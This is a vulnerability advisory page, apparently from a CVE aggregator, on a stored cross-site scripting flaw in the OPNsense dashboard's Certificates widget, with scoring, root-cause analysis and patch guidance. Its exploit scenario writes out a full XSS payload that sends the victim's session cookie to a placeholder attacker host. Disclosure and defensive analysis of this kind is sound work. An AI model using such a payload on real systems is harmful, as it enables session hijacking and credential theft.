Skip to main content

OPNsense EUVDEUVD-2026-52433

| CVE-2026-49132 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-03 VulnCheck GHSA-7979-v6f7-5r6j
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to OPNsense with certificate API access
  2. Delivery
    Submit XSS payload in certificate description field via trust certificate API
  3. Exploit
    Payload persisted in OPNsense configuration
  4. Install
    Target administrator opens Dashboard Certificates widget
  5. C2
    Certificates.js interpolates raw description into HTML attribute without encoding
  6. Execute
    Injected script executes in victim browser
  7. Impact
    Session token or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid OPNsense account with privileges sufficient to create or modify certificates via the trust certificate API (PR:L per CVSS 4.0); unauthenticated exploitation is not possible. A victim must open the OPNsense Dashboard while authenticated, exposing the Certificates widget - this is passive interaction (UI:P) requiring no deliberate victim action beyond routine administrative use. The Dashboard Certificates widget must be present in the victim's Dashboard layout. Exploitation is bounded by the requirement for prior authenticated attacker access; however, once a payload is planted it persistently targets all authenticated Dashboard viewers regardless of their privilege level, enabling low-privilege-to-admin session escalation.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P, score 5.1) accurately captures the key risk boundaries: network-accessible exploitation, no unusual attack complexity, but requiring authenticated low-privilege access and passive victim interaction. Impact metrics reflect that the OPNsense server itself is unaffected (VC:N/VI:N/VA:N) while the subsequent system - the victim's browser session - sustains low confidentiality and integrity impact (SC:L/SI:L), consistent with session hijacking or credential theft. The stored nature of the XSS materially elevates practical risk beyond the score suggests: a single low-privilege attacker (e.g., a certificate administrator) can silently compromise all authenticated Dashboard users including administrators without further interaction. No EPSS score was supplied and the vulnerability is absent from CISA KEV, so no confirmed active exploitation is known. The critical asymmetry here is privilege escalation through the browser: a low-privilege planter can harvest high-privilege sessions, which the base CVSS score does not fully convey.

Exploit ScenarioDerived

An authenticated attacker holding certificate management permissions submits a new certificate via the trust certificate API with a description such as "><img src=x onerror=fetch('https://attacker.example/?s='+btoa(document.cookie))>. The payload is stored persistently in OPNsense configuration. When any authenticated user - including a firewall administrator - subsequently opens the Dashboard, Certificates.js interpolates the raw description into the data-tooltip HTML attribute without encoding, triggering the onerror handler and silently exfiltrating the victim's session token to the attacker's server. No public proof-of-concept is referenced in the available data, but the vulnerability class and code-level commit diff make the attack vector straightforward to reproduce.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 03, 2026

Stored cross-site scripting in OPNsense before 26.1.9 allows any authenticated user with certificate management access to plant a persistent JavaScript payload via the trust certificate API's description field. Once stored, the payload executes in the browser of every authenticated user who opens the Dashboard, because Certificates.js interpolates the raw description directly into an HTML attribute template literal without output encoding. No active exploitation has been confirmed (not in CISA KEV), and a vendor-released patch is available as of OPNsense 26.1.9.

RemediationAI

Upgrade to OPNsense 26.1.9 or later; the specific code fix is available in GitHub commit 12b021ff11db38705e92ac4c9af5e07d602da6ba (https://github.com/opnsense/core/commit/12b021ff11db38705e92ac4c9af5e07d602da6ba) and the release is documented at https://docs.opnsense.org/releases/CE_26.1.html#june-02-2026. As a compensating control prior to patching, restrict certificate creation and modification permissions to the smallest possible set of highly trusted administrator accounts, which reduces the pool of users who can plant a payload; this does not eliminate risk if a permitted account is compromised. Audit existing certificate description fields for XSS indicators such as angle brackets, event handler strings, or javascript: URIs to determine whether exploitation has already occurred.

Affected VersionsENISA

OPNsense 0 <26.1.9

Affected Packages

euvd opnsense fix: 26.1.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

OPNsense is an open-source FreeBSD-based firewall and routing platform by Deciso B.V. (CPE: cpe:2.3:a:deciso_b.v.:opnsense). The vulnerable component is the Dashboard Certificates widget, rendered client-side via src/opnsense/www/js/widgets/Certificates.js. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is an unencoded JavaScript template literal interpolation: the expression data-tooltip="${type}-${item.descr}" inserted the user-supplied certificate description directly into an HTML attribute sink. Because the description is sourced from the trust certificate API and persisted in configuration, the payload survives across sessions. The fix in commit 12b021ff removes item.descr from the data-tooltip attribute entirely, eliminating the injection sink without requiring explicit encoding.

Know when Opnsense gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-exploitable stored XSS with scope change (S:C) as payload executes in other users' browsers; PR:L for required certificate API authentication; UI:R for victim's passive Dashboard visit.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

OPNsense before 26.1.9 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject arbitrary HTML or JavaScript by embedding payloads in the certificate description field via the trust certificate API. The unsanitized description value is persisted and later rendered in the Dashboard Certificates widget through Certificates.js, which interpolates the raw value into HTML attribute and text content sinks without encoding, causing injected scripts to execute in the browser of any authenticated user who views the Dashboard, enabling session hijacking or credential theft.

Threat Intelligence Overview

EPSS Score
0.1%
Top 99% exploitable
Prevalence
Medium
widely used open-source firewall, primarily SMB and home-lab deployments
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-39004 CRITICAL POC
9.8 Aug 09

Insecure permissions in the configuration directory (/conf/) of OPNsense Community Edition before 23.7 and Business Edit

CVE-2023-27152 CRITICAL POC
9.8 Oct 23

DECISO OPNsense 23.1 does not impose rate limits for authentication, allowing attackers to perform a brute-force attack

CVE-2023-39008 CRITICAL POC
9.8 Aug 09

A command injection vulnerability in the component /api/cron/settings/setJob/ of OPNsense Community Edition before 23.7

CVE-2023-39001 CRITICAL POC
9.8 Aug 09

A command injection vulnerability in the component diag_backup.php of OPNsense Community Edition before 23.7 and Busines

CVE-2023-39007 CRITICAL POC
9.6 Aug 09

/ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 al

CVE-2023-39003 HIGH POC
7.5 Aug 09

OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 was discovered to contain insecure permissions

CVE-2023-39005 HIGH POC
7.5 Aug 09

Insecure permissions exist for configd.socket in OPNsense Community Edition before 23.7 and Business Edition before 23.4

CVE-2023-38997 HIGH POC
7.2 Aug 09

A directory traversal vulnerability in the Captive Portal templates of OPNsense Community Edition before 23.7 and Busine

CVE-2023-38999 MEDIUM POC
6.5 Aug 09

A Cross-Site Request Forgery (CSRF) in the System Halt API (/system/halt) of OPNsense Community Edition before 23.7 and

CVE-2019-25373 MEDIUM POC
6.4 Feb 15

OPNsense 19.1 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicio

CVE-2019-25369 MEDIUM POC
6.4 Feb 15

OPNsense 19.1 contains a stored cross-site scripting vulnerability in the system_advanced_sysctl.php endpoint that allow

CVE-2019-25372 MEDIUM POC
6.1 Feb 15

OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject ma

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy